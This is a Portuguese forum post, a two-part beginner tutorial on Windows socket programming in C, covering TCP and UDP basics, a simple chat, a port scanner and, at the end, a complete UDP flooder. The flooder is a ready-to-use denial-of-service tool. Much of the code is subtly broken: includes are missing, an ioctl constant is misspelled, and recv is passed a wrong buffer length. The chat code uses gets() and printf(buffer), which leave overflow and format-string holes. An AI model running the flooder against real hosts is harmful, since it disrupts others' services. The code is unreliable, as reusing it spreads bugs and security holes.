Tutorial Básico de Sockets - Parte 1
by Dark_Side
Atendendo aos pedidos de alguns usuários, estou escrevendo este pequeno tutorial de sockets em C, para Windows.
Abordarei nesta etapa apenas o uso do protocolo TCP, já que é o mais comum. No próximo módulo, demonstrarei o uso do UDP, e outras funções legais 8) Considerações finais.
Introdução
Um dos resursos mais atrativos na programação em C, é o uso de Sockets. O uso de sockets permite o desenvolvimento de várias aplicações. Exploits, flooders e programas cliente/servidor são poucos exemplos de aplicativos que podemos desenvolver.
Preparando e criando Sockets.
Para utilizarmos sockets em C, precisamos incluir todos os headers e bibliotecas necessários.
Observe o código:
Código:
#include
#include
#include
WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;
int main(){
if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR){
printf("Erro ao inicializar o winsock");
return 0;
}
if((winsock = socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR){
printf("Erro ao criar socket");
return 0;
}
printf("Socket iniciado!");
getch();
closesocket(winsock);
WSACleanup();
return 0;
}
Explicando o código:
#include
Inclui o header do winsock.
WSADATA data;
SOCKET winsock;
Variáveis que recebem o valor da inicialização e criação do socket.
SOCKADDR_IN sock;
Struct -> contém a configuração do socket a ser usado o ip, a porta e a família do socket.
if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR){
printf("Erro ao inicializar o winsock");
return 0;
}
WSAStartup - Inicializa o uso do winsock.
A sintaxe é : WSAStartup(VERSAO_DO_WINSOCK,ENDEREÇO DA VARIÁVEL)
A função retorna o valor 0 (zero) quando é finalizada com sucesso ou -1, quando um erro ocorre.
if((winsock = socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR){
printf("Erro ao criar socket");
return 0;
}
socket - Inicializa o socket.
A sintaxe é: socket(FAMILIA,TIPO_DE_PROTOCOLO,0)
Para FAMILIA, temos diversos tipos, utilizaremos o AF_INET, para nosso tutorial.
Tipo de protocolo:
SOCK_STREAM -> protocolo TCP
SOCK_DGRAM -> protocolo UDP
SOCK_RAW -> protocolo para RAW SOCKETS.
Utilizaremos o SOCK_STREAM.
Assim como a função WSAStartup, a esta retorna os valores:
0 (Socket inicializado) ou 1 (não inicializado).
Sockets - Criando um programa Servidor.
Observe o código:
Código:
#include
#include
#include
#include //Repara que utilzaremos este header para utilizarmos a função Sleep();
WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;
int main(){
if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR){
printf("Erro ao inicializar o winsock");
return 0;
}
if((winsock = socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR){
printf("Erro ao criar socket");
return 0;
}
sock.sin_family=AF_INET;
sock.sin_port=htons(1234);
if(bind(winsock,(SOCKADDR*)&sock,sizeof(sock))==SOCKET_ERROR){
printf("Erro colocar utilizar a funcao BIND");
return 0;
}
listen(winsock,1);
while((winsock = accept(winsock,0,0))==SOCKET_ERROR)
{
Sleep(1);
}
printf("Cliente conectado!");
getch();
closesocket(winsock);
WSACleanup();
return 0;
}
O que vemos de novidade no código?
Código:
if(bind(winsock,(SOCKADDR*)&sock,sizeof(sock))==SOCKET_ERROR){
printf("Erro colocar utilizar a funcao BIND");
return 0;
}
listen(winsock,1);
while((winsock = accept(winsock,0,0))==SOCKET_ERROR)
{
Sleep(1);
}
printf("Cliente conectado!");
getch();
closesocket(winsock);
WSACleanup();
return 0;
}
Assim como a função WSAStartup e socket, a função BIND também retorna um valor, que por sinal, são os mesmos.Esta função é responsável por colocar o socket no modo BIND(configurá-lo na porta local).
listen(winsock,1) -> Coloca o socket em modo de espera, aceitando 1 conexão.
Código:
while((winsock = accept(winsock,0,0))==SOCKET_ERROR)
{
Sleep(1);
}
printf("Cliente conectado!");
getch();
closesocket(winsock);
WSACleanup();
return 0;
}
Criamos um loop para verificarmos se houve um pedido de conexão, como a função ACCEPT retorna -1 quando não há pedidos, o loop será feito até que o retorno seja diferente de -1, que indica um pedido de conexão.
Ao sair do loop, é mostrada na tela uma mensagem dizendo que houve uma conexão e em seguida o programa encerra.
Sockets - Criando um programa Cliente.
Observe o código:
Código:
#include
#include
#include
WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;
int main(){
if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR){
printf("Erro ao inicializar o winsock");
return 0;
}
if((winsock = socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR){
printf("Erro ao criar socket");
return 0;
}
sock.sin_family=AF_INET;
sock.sin_port=htons(1234);
sock.sin_addr.s_addr=inet_addr("127.0.0.1");
if(connect(winsock,(SOCKADDR*)&sock,sizeof(sock))==SOCKET_ERROR){
printf("Erro ao se conectar");
return 0;
}
printf("Conectado!");
getch();
closesocket(winsock);
WSACleanup();
return 0;
}
Analisando:
Código:
sock.sin_addr.s_addr=inet_addr("127.0.0.1") => Indica o IP o qual queremos conectar.
connect(winsock,(SOCKADDR*)&sock,sizeof(sock)) => Conecta o socket.
Como não poderia ser diferente, temos os valores 0(sucesso) ou -1(falha) como retorno da função connect().
Esta função é uma das mais utilizadas na programação em SOCKET's. 
Enviando dados e Recebendo dados.
Chegamos à melhor parte....
O envio e recebimento de dados.
Temos duas funções que se encarregam disso: send e recv.
Lembrando que estaremos aptos a utilizá-las, apenas após uma conexão estiver sido estabelecida.
Enviando dados:
Código:
#include
char buffer[1024];
send(winsock,buffer,strlen(buffer),0)
Analisando a funcão temos:
send(SOCKET,BUFFER,TAMANHO,0);
SOCKET -> nosso socket que foi criado;
BUFFER -> dados a enviar;
TAMANHO -> tamanho dos dados;
Recebendo dados:
Código:
#include
char buffer[1024];
int byes;
while(1){
memset(buffer,0,1024);
bytes = recv(winsock,buffer,strlen(buffer),0)
if(bytes==-1)
return 0;
}
Analisando a funcão temos:
memset(buffer,0,1024)
Determinamos um espaço para receber os dados.
recv(SOCKET,BUFFER,TAMANHO,0);
SOCKET -> nosso socket que foi criado;
BUFFER -> variável que armazenará os dados;
TAMANHO -> tamanho da variável;
Note que se o número de bytes for igual a 0, o programa termina.
Finalizando o uso do socket.
Quando queremos fechar um socket, utilizamos:
closesocket(NOME_DO_SOCKET);
No nosso exemplo:
closesocket(winsock);
Fechamos o nosso socket, mas ainda não finalizamos o uso do winsock, isto é, enquanto o programa estiver rodando, estaremos aptos a criar novos sockets. Ao finalizar um programa que utiliza sockets, utilizamos sempre WSACleanup() para encerrar o uso do winsock.
Esquema:
Código:
HEADERS
[...]
int main(){
[...]
desenvolvimento do programa
[...]
closesocket(winsock);
WSACleanup()
return 0;
}
Código de exemplo - simples chat
CLIENTE.C
Código:
#include
#include
#include
#include
#include
WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;
char buffer[1024];
char buffer2[1024];
int bytes;
int main(){
if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR){
printf("Erro ao inicializar o winsock");
return 0;
}
if((winsock = socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR){
printf("Erro ao criar socket");
return 0;
}
sock.sin_family=AF_INET;
sock.sin_port=htons(1234);
sock.sin_addr.s_addr=inet_addr("127.0.0.1");
if(connect(winsock,(SOCKADDR*)&sock,sizeof(sock))==SOCKET_ERROR){
printf("Erro ao se conectar");
return 0;
}
printf("Conectado!\n");
while(1)
{
Sleep(1);
printf("Digite uma mensagem:\n");
gets(buffer);
strcat(buffer,"\r\n");
send(winsock,buffer,strlen(buffer),0);
memset(buffer2,0,1024);
bytes=recv(winsock,buffer2,1024,0);
if(bytes==-1){
printf("Conexão perdida");
getch();
return 0;
}
printf(buffer2);
}
getch();
closesocket(winsock);
WSACleanup();
return 0;
}
SERVIDOR.C
Código:
#include
#include
#include
#include //Repara que utilzaremos este header para utilizarmos a função Sleep();
WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;
char buffer[1024];
char buffer2[1024];
int bytes;
int main(){
if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR){
printf("Erro ao inicializar o winsock");
return 0;
}
if((winsock = socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR){
printf("Erro ao criar socket");
return 0;
}
sock.sin_family=AF_INET;
sock.sin_port=htons(1234);
if(bind(winsock,(SOCKADDR*)&sock,sizeof(sock))==SOCKET_ERROR){
printf("Erro colocar utilizar a funcao BIND");
return 0;
}
listen(winsock,1);
while((winsock = accept(winsock,0,0))==SOCKET_ERROR)
{
Sleep(1);
}
printf("Cliente conectado!");
while(1)
{
Sleep(1);
memset(buffer2,0,1024);
bytes=recv(winsock,buffer2,1024,0);
if(bytes==-1){
printf("Conexão perdida");
getch();
return 0;
}
printf(buffer2);
printf("Digite uma mensagem:\n");
gets(buffer);
strcat(buffer,"\r\n");
send(winsock,buffer,strlen(buffer),0);
}
getch();
closesocket(winsock);
WSACleanup();
return 0;
}
Considerações finais
Bem, chegamos ao fim da primeira parte de um simples tutorial de sockets, gostaria que ficasse bem claro que o material apresentado aqui é bem básico, dedicado aos iniciantes. Aguardem ao próximo tópico, onde mostrarei como utilizar funções interessantes como por exemplo: gethostbyname() - que resolve o nome do host e seu IP, inet_ntoa() - obtém o IP de um host, dentre outras.
Obs:: O tutorial acima, utiliza o socket no modo blocking, isto é, enquanto uma ação não é executada, as demais não serão também ao decorrer do tempo.
Mostrarei também como utilizar sockets no modo non-blocking, e se possível abordarei sockets em programação WIN32, onde os função são monitoras via LOOP de MSGS (socket assincrono).
Bye.
PS.:Eu não editei o os Codigos deixando tdo acertado.. porque já estava de saida e como gostei do texto e queria compartilhar..só copiei e colei rapidão
Parabens drako_ vai ajudar muita gente com dificuldade.. nessa area..
Hi, gostaria de agradecer ao _Dr4k0_ por ter postado o tutorial no fórum, confesso que tinha me esquecido de postar.
Bem,continuando...
1) Retomando
2) Trabalhando com IP's e Hosts.
3) Trabalhando com Portas e Serviços.
4) Sockets Non-Blocking.
5) Sockets UDP.
6) Códigos de exemplo
7) Considereções finais.
Retomando
****************************************
Bem, no módulo anterior, demonstrei o básico sobre SOCKETS em C, explicando e exemplificando as funções comuns.
Neste módulo, serão apresentadas, algumas funções interessantes e não menos importantes para incrementar o seu conhecimento em SOCKETS.
Trabalhando com IP's e Hosts.
****************************************
Veja:
SOCKADDR_IN sock;
sock.sin_addr.s_addr = inet_addr("127.0.0.1");
Percebemos que no fragmento de código acima, temos a declaração de um sock, e é estabelecido o IP remoto ao qual este irá integarir.
Percebemos ainda, que temos a função inet_addr. Essa função é responsável por "transformar" um IP especificado em string (char*), para o tipo adequado ao sock(in_addr).
Ainda falando sobre IP, imagine a seguinte situação: Temos o host: www.servidor.com; (http://www.servidor.com;)
Desconheçemos seu endereço ip;
Desejamos nos conectar ao host.
E agora? se tentarmos utilizar a função inet_addr(), não teríamos êxito uma vez que essa função é restrita ao manipulamento de IP's e não hostname's.
sock.sin_addr.s_addr = inet_addr("www.servidor.com");
Errado!
Para essas e outras situações temos a função gethostbyname().
Observe:
HOSTENT *host;
host = gethostbyname("www.servidor.com");
host = declaramos um novo tipo de variável (struct HOSTENT), responsável por obter o retorno da função.
gethostbyname("www.servidor.com") = utilizamos a função para resolver o host: www.servidor.com (http://www.servidor.com)
Como toda função, podemos ter êxito ou não em sua execução. Na nossa função, ou o host é resolvido com sucesso, ou este é desconhecido. Veja:
HOSTENT *host;
host = gethostbyname("www.servidor.com");
if(host!=0){
//Host resolvido com sucesso
}
else{
//Host desconhecido.
}
Vimos que a variável host, retorna 0 quando o host não pôde ser resolvido e um valor diferente de 0, caso contrário.
Observe:
SOCKADDR_IN sock;
HOSTENT *host;
host = gethostbyname("www.servidor.com");
if(host!=0){
memcpy(&sock.sin_addr.s_addr,host->h_addr,host->h_length);
}
else{
return 0;
}
Explicando:
Tentamos resolver o HOST: www.servidor.com; (http://www.servidor.com;)
Caso tenhamos sucesso, utilizamos a função memcpy para "copiar" o endereço IP do host, para o nosso sock.
A função memcpy, localizada no header
possui a seguinte sintaxe:
memcpy(destino,conteúdo,tamanho);
destino -> variável que receberá o conteúdo;
conteúdo -> dados a serem copiados.
tamanho -> tamanho do conteúdo.
Abaixo a estrutura básica do HOSTENT:
h_addr = endereço IP do host.
addrtype = tipo de protocolo (1 - TCP, 2 - UDP).
h_length = tamanho do buffer.
h_name = nome do host.
Veja agora:
SOCKADDR_IN sock;
HOSTENT *host;
host = gethostbyname("www.servidor.com");
if(host!=0){
printf("Nome do Host: %s\n",inet_ntoa(*(in_addr*)host->h_addr));
}
else{
return 0;
}
No exemplo acima, se o host é resolvido, é mostrado seu nome e seu IP.
A função host->h_name: retorna seu nome, como já vimos.
A função inet_ntoa funciona de maneira contrária a função inet_addr. Esta é responsável por obter um ip no formato in_addr e transformá-lo em char*.
inet_ntoa(*(in_addr*)host->h_addr)
O trecho acima, converte o valor host->h_addr, para in_addr, e em seguida, a função inet_ntoa transforma o valor in_addr em char*.
Trabalhando com Portas e Serviços.
****************************************
Você sabe que nos conectamos a um host por uma porta. Deve saber também que algumas portas, como a 21 por exemplo, rodam serviços específicos.
Exemplo:
21 - FTP
23 - TELNET
25 - SMTP
80 - HTTP
Muitos scanners de portas, até mesmo o NetCat, quando em operação mostram o nome do serviço referente à porta.
Isso pode ser feito através da função getservbyport().
Sua sintaxe:
SERVENT *serv;
serv = getservbyport(porta,protocolo);
Você se lembra de como definimos a porta de um socket? htons(porta). Nesta função devemos fazer a mesma coisa, pois as portas devem estar em network byte. Para mais informações sobre network byte, consulte: http://www.vijaymukhi.com/vmis/ip.htm (http://www.vijaymukhi.com/vmis/ip.htm)
O protocolo, é um parâmetro opicional.
Exemplo:
SERVENT *serv;
serv= getservbyport(htons(21),"tcp");
if(serv!=0)
printf("Servico: %s",serv->s_name);
Sockets Non-Blocking.
****************************************
Não sei se você reparou, mas no exemplo do chat (encontrado no módulo anterior), quando é enviada uma mensagem, é necessário esperar a resposta do servidor.
Isso ocorre devido à uma propriedade do socket - o BLOCKING MODE.
Às vezes, trabalhar com sockets em modo BLOCKING não traz problemas, mas se por exemplo fossemos desenvolver um chat multi-cliente? Se trabalharmos com este socket, teríamos problemas ao enviar e receber dados.
Para solucionar este problema, passamos o socket para um outro modo - o NON-BLOCKING MODE - que permite várias funções serem executados simultaneamente.
Veja:
u_long modo=1;
SOCKET winsock;
winsock = socket(AF_INET,SOCK_STREAM,0);
ioctlsocket(winsock,FIOBION,&modo);
u_long modo=1 -> Cria variável indicando o valor NON-BLOCKING (1) ou BLOCKING (0).
ioctlsocket(winsock,FIOBION,&modo); -> Seta a ENTRADA/SAÍDA do socket para o modo especificado.
Sockets UDP.
****************************************
Abordei no tutorial anterior, como trabalhar com sockets utilizando o protocolo TCP. Existem diversos protocolos, como o UDP e o RAW(suportado apenas no Win XP sem SP).
Veremos agora como utilizar o protocolo UDP em nossas aplicações.
O protocolo UDP, é o "irmão" do protocolo TCP. Este último, é orientado à conexão, isto é, só podemos enviar e receber dados, após o estabelecimento de uma conexão.O protocolo UDP permite que você envie e receba dados mesmo sem uma conexão. Embora apresentar algumas diferenças entre TCP/UDP não seja o foco do tutorial, demonstrarei algumas características principais de cada protocolo, para um maior entendimento:
QuoteTCP
Protocolo orientado à conexão, através do HandShake:
Cliente -----------------> Servidor (1)
Cliente <----------------- Servidor (2)
Cliente -----------------> Servidor (3)
Cliente <----------------> Servidor (4)
1) O cliente envia um pedido de conexão (flag SYN)
2) O servidor envia uma resposta de confirmação (SYN+ACK)
3) O cliente envia a confirmação (ACK)
4) Conexão estabelecida (envio/recibo de dados -> BIDIRECIONAL)
Através deste mesmo processo, ocorre o envio e recibo de dados. Ao enviar um dado, o cliente aguarda a resposta do servidor de que recebeu o tal dado, em seguida, o cliente envia o restante dos dados, se houverem. Caso o cliente não receba a confirmação, este retrasmite o dado, porém em uma velocidade mais baixa. Esta é a razão da tranferência baixa na internet.
UDP
Protocolo NÃO-orientado à conexão.
Como não há o processo de handshake, o cliente envia dados ao servidor e não aguarda resposta para enviar os dados restantes. Como conseqüência, o envio de dados é mais rápido e não há garantia da entrega dos pacotes enviados.
Muito bem, dada as características, vamos colocar em prática.
Criando um socket UDP.
O processo de criação de um socket TCP e UDP é o mesmo. Observe:
SOCKET winsock;
winsock = socket(AF_INET,SOCK_DGRAM,0);
Repare que ao invés de SOCK_STREAM, utilizamos SOCK_DGRAM (Constante determinada para o uso do UDP).
Enviando e recebendo dados com o protocolo UDP.
Utilizamos as funções: send() e recv(), respectivamente, para enviar e receber dados, no protocolo TCP.No protocolo UDP, temos duas variações: sendto() e recvfrom().
Enviando dados:
SOCKET winsock;
SOCKADDR_IN sock;
char buffer[10]="DADOS!";
winsock=socket(AF_INET,SOCK_DGRAM,0);
sock.sin_family=AF_INET;
sock.sin_addr.s_addr=inet_addr("127.0.0.1");
sock.sin_port=htons(999);
sendto(winsock,buffer,strlen(buffer),(SOCKADDR*)&sock,sizeof(sock));
Acima, criamos um socket UDP, criamos um buffer contendo os dados a serem enviados (DADOS!). Estabelecemos a família, ip e porta do socket.
sendto(winsock,buffer,strlen(buffer),0,(SOCKADDR*)&sock,sizeof(sock));
winsock -> SOCKET criado;
buffer -> dados a enviar;
strlen(buffer) -> strlen (contida em string.h), obtém o tamanho do buffer;
(SOCKADDR*)&sock -> converte nosso socket para ser usado.
sizeof(sock) -> tamanho do socket.
Recebendo dados:
SOCKET winsock;
SOCKADDR_IN sock;
int size=sizeof(sock);
char buffer[1024];
winsock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sock.sin_family=AF_INET;
sock.sin_port=htons(9999);
sock.sin_addr.s_addr = inet_addr("127.0.0.1");
bind(winsock,(SOCKADDR*)&sock,sizeof(sock));
while(1)
{
Sleep(1);
memset(buffer,0,1024);
recvfrom(winsock,buffer,1024,0,(SOCKADDR*)&sock,&size);
printf(buffer);
}
Algumas observações:
int size=sizeof(sock) -> Obtém o tamanho do socket, para ser utilizado.
memset(buffer,0,1024) -> Aloca espaço para o buffer.
recvfrom(winsock,buffer,1024,0,(SOCKADDR*)&sock,&size);
Repare o último argumento: &size. Este NÃO é opicional, como em outras funções.
Código de exemplo
****************************************
Colocando o que aprendemos em prática, faremos um port scanner.
//Header
#include <stdio.h>
#include <conio.h>
#include <winsock.h>
//Variáveis
WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;
int inicial,final,x,total=0;
HOSTENT *host;
SERVENT *serv;
char serv_name[15];
int main(int argn,char** arg){
if(argn!=4){ //Verifica o número de argumentos, caso seja diferente de 4 (programa,host,inicial,final), imprime o modo de uso.
puts("Modo de uso:\nportscan <HOST> <PORTA INICIAL> <PORTA FINAL>");
getch(); //Aguarda tecla
return 0; //Encerra
}
WSAStartup(MAKEWORD(1,1),&data); //Inicializa data.
host = gethostbyname(arg[1]); //Obtém o host digitado e tenta resolvê-lo
if(host==0){ //Caso seja desconhecido encerra.
puts("Host desconhecido!");
return 0;}
inicial = atoi(arg[2]); //Obtém porta inicial digitada.
final = atoi(arg[3]); //Obtém a porta final digitada.
printf("Escaneando %s (%s)...\n",host->h_name,inet_ntoa(*(in_addr*)host->h_addr)); //Exibe informações sobre o host.
for(x=inicial;x<=final;x++){ //Loop da porta inicial à final.
serv = getservbyport(htons(x),"tcp"); //Obtém serviço
if(serv==0) //Se o serviço for desconhecido.
sprintf(serv_name,"Desconhecido");
else
sprintf(serv_name,serv->s_name); //Se for conhecido
winsock = socket(AF_INET,SOCK_STREAM,0); //Cria socket
sock.sin_family=AF_INET;//Ajusta a família do socket.
sock.sin_port=htons(x); //Ajusta a porta.
memcpy(&sock.sin_addr,host->h_addr,host->h_length); //Ajusta o IP
if(connect(winsock,(SOCKADDR*)&sock,sizeof(sock))!=SOCKET_ERROR){ //Tenta se conectar
printf("Porta: %d (%s) Servico: %s\n",x,"PORTA ABERTA!",serv_name); //Se conectado = porta aberta
total++; //Incrementa número de portas abertas.
}
else{//Erro ao conectar = porta fechada
printf("Porta: %d (%s) Servico: %s\n",x,"Fechada",serv_name);}
}
closesocket(winsock); //Fecha o socket, após o loop.
WSACleanup(); //Finaliza o uso do winsock.
printf("Escaneamento concluido. %d porta(s) aberta(s)",total); //Imprime resultados.
getch(); //Aguarda tecla.
return 0; //Encerra.
}
Segue agora, um UDPFLOODER.
//Headers
#include <winsock.h>
#include <stdio.h>
#include <conio.h>
#include <string.h>
#include <stdlib.h>
//Variáveis
WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;
HOSTENT *host;
int pacotes,porta,x,total;
char hostname[64];
int main(int argn,char** arg)
{
if(argn!=5){ //Verifica o número de argumentos, caso seja diferente de 5(programa,host,porta,pacotes,data), encerra.
puts("Modo de uso:"); //Imprime o modo de uso.
puts("udpflood <HOST> <PORTA> <PACOTES> <DATA>");
getch(); //Aguarda tecla
return 0; //Encerra
}
strncpy(hostname,arg[1],64); //Copia até 64 caracteres do host digitado.
porta = atoi(arg[2]); //Obtém a porta digitada.
pacotes = atoi(arg[3]); //Obtém o número de pacotes.
WSAStartup(MAKEWORD(1,1),&data); //Inicializa data.
winsock = socket(AF_INET,SOCK_DGRAM,0); //Cria socket UDP.
host = gethostbyname(arg[1]); //Resolve o host digitado.
if(host==0) //Verifica por erro, caso ocorra, imprime uma mensagem e encerra.
{
puts("Host desconhecido!");
getch();
return 0;
}
memcpy(&sock.sin_addr,host->h_addr,host->h_length); //Copia o IP do host para o socket.
sock.sin_family=AF_INET; //Ajusta a família do socket.
sock.sin_port=htons(porta); //Ajusta a porta
for(x=1;x<=pacotes;x++){ //Loop de 1 até o número de pacotes digitados.
system("cls"); //Limpa a tela.
sendto(winsock,arg[4],strlen(arg[4]),0,(SOCKADDR*)&sock,sizeof(sock)); //Envia os dados digitados (arg[4] = argumento <DATA>
total = (x *100 / pacotes); //Calcula progresso.
printf("%d%% Concluido. (Pacote: %d de %d)",total,x,pacotes); //Imprime o progresso.
}
getch(); //Ao terminar, aguarda uma tecla.
closesocket(winsock); //Fecha socket.
WSACleanup();//Finaliza o uso do winsock.
return 0; //Encerra.
}
Considerações finais
****************************************
QuoteAlgo que deve ficar claro:
Sempre precisamos inicializar o uso do winsock, pela função WSAStartup.
Terminamos aqui mais uma parte do nosso tutorial, espero que tenham aprendido algo. Na terceira e última parte do tutorial, abordarei a programação de sockets em WIN32.Adianto que para compreender a futura parte do tutorial, é necessário um conhecimento mínimo da API do Windows, principalmente do LOOP de Mensagens. É um requisito também um conhecimento básico sobre sockets, apresentado aqui.